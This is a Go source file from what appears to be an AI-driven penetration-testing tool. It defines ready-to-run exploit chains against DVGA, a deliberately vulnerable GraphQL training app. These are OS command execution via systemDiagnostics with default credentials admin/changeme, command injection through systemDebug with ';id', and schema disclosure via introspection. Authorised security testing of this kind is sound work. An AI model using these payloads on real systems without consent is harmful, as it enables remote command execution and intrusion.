package recon

import (
	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/pipeline"
	"github.com/google/uuid"
)

// dvgaChains are DVGA's deterministic, ready-to-run attack playbooks. Each was
// executed and CONFIRMED against a live DVGA (dolevf/dvga) by introspecting the
// deployed schema first, so the field and argument names below are the real
// ones (createPaste/systemDebug/systemDiagnostics/pastes…), not guesses — the
// exploit agent runs them step-for-step and a known finding lands reliably,
// independent of the model driving the swarm.
//
// Verified live against the deployed schema: introspection is enabled and dumps
// the full schema unauthenticated; systemDiagnostics(cmd) executes an OS command
// when given DVGA's default operator credentials (admin/changeme); and
// systemDebug(arg) concatenates its argument into a shell command, so ";id"
// injects and returns `uid=1000(dvga)…`. All three are POST /graphql with a
// JSON {"query":"…"} body and no CSRF or auth boundary in front of them.
func dvgaChains(base string) []pipeline.AttackPath {
	return []pipeline.AttackPath{
		dvgaSystemDiagnosticsRCE(base),
		dvgaSystemDebugInjection(base),
		dvgaIntrospectionEnabled(base),
	}
}

// dvgaGraphQL builds an httpreq step that POSTs a GraphQL query to /graphql.
// query is the raw GraphQL document; any double quotes inside it must already
// be escaped as \" so the surrounding JSON body stays valid.
func dvgaGraphQL(base, name, technique, query, pattern string) pipeline.AttackStep {
	return pipeline.AttackStep{
		ID:          uuid.New(),
		Name:        name,
		TechniqueID: technique,
		Command: "httpreq --method POST --url " + base + "/graphql " +
			`--header 'Content-Type: application/json' --body '{"query":"` + query + `"}'`,
		ExpectedOutputPattern: pattern,
	}
}

// dvgaSystemDiagnosticsRCE — the flagship chain. DVGA's systemDiagnostics query
// takes operator credentials and a cmd string and runs it on the server. With
// the shipped default credentials (admin/changeme) an attacker executes
// arbitrary OS commands. Verified: cmd:"id" returns `uid=1000(dvga)…`.
func dvgaSystemDiagnosticsRCE(base string) pipeline.AttackPath {
	return pipeline.AttackPath{
		ID:   uuid.New(),
		Name: "DVGA OS command execution: systemDiagnostics with default operator credentials",
		Description: "The systemDiagnostics query executes a caller-supplied cmd on the server when given " +
			"operator credentials, and DVGA ships with the default pair admin/changeme. An unauthenticated " +
			"attacker who knows (or guesses) those credentials runs arbitrary OS commands. Proven by calling " +
			"systemDiagnostics(username:\"admin\", password:\"changeme\", cmd:\"id\") and receiving the id(1) " +
			"output (uid=…/gid=…) in the GraphQL response.",
		ExpectedImpact:              "critical",
		EstimatedSuccessProbability: 0.95,
		RequiredPrivileges:          "unauthenticated (uses shipped default operator credentials)",
		Steps: []pipeline.AttackStep{
			dvgaGraphQL(base,
				"execute `id` on the server via systemDiagnostics (default creds)",
				"T1059", // Command and Scripting Interpreter
				`query { systemDiagnostics(username: \"admin\", password: \"changeme\", cmd: \"id\") }`,
				"uid="),
		},
	}
}

// dvgaSystemDebugInjection — OS command injection via systemDebug. The resolver
// concatenates its arg into a shell command (it runs `ps` plus the argument),
// so a shell metacharacter breaks out. Verified: arg:";id" returns the ps table
// followed by `uid=1000(dvga)…`.
func dvgaSystemDebugInjection(base string) pipeline.AttackPath {
	return pipeline.AttackPath{
		ID:   uuid.New(),
		Name: "DVGA OS command injection: systemDebug argument breaks out of the shell command",
		Description: "The systemDebug query passes its arg straight into a shell command without " +
			"sanitisation, so a shell metacharacter injects additional commands. No authentication is " +
			"required. Proven by arg:\";id\", whose response contains the injected id(1) output " +
			"(uid=…/gid=…) appended to the process listing.",
		ExpectedImpact:              "critical",
		EstimatedSuccessProbability: 0.95,
		RequiredPrivileges:          "unauthenticated",
		Steps: []pipeline.AttackStep{
			dvgaGraphQL(base,
				"inject `;id` into systemDebug to run an extra command",
				"T1059",
				`query { systemDebug(arg: \";id\") }`,
				"uid="),
		},
	}
}

// dvgaIntrospectionEnabled — DVGA leaves GraphQL introspection enabled in
// production mode, so the entire schema (every type, query, and mutation,
// including the system* operations above) is disclosed to an anonymous client.
// Verified: an introspection query returns the schema's queryType.
func dvgaIntrospectionEnabled(base string) pipeline.AttackPath {
	return pipeline.AttackPath{
		ID:   uuid.New(),
		Name: "DVGA information disclosure: GraphQL introspection enabled",
		Description: "GraphQL introspection is left enabled, so any unauthenticated client can dump the " +
			"full schema — every type, query, and mutation name, including the sensitive system* operations " +
			"(systemDebug, systemDiagnostics, systemUpdate). This hands an attacker the exact attack surface. " +
			"Proven by an anonymous __schema introspection query returning the schema's query/mutation types.",
		ExpectedImpact:              "medium",
		EstimatedSuccessProbability: 0.99,
		RequiredPrivileges:          "unauthenticated",
		Steps: []pipeline.AttackStep{
			dvgaGraphQL(base,
				"dump the GraphQL schema via introspection (no auth)",
				"T1613", // Container and Resource Discovery
				`{__schema{queryType{name} mutationType{name}}}`,
				"queryType"),
		},
	}
}
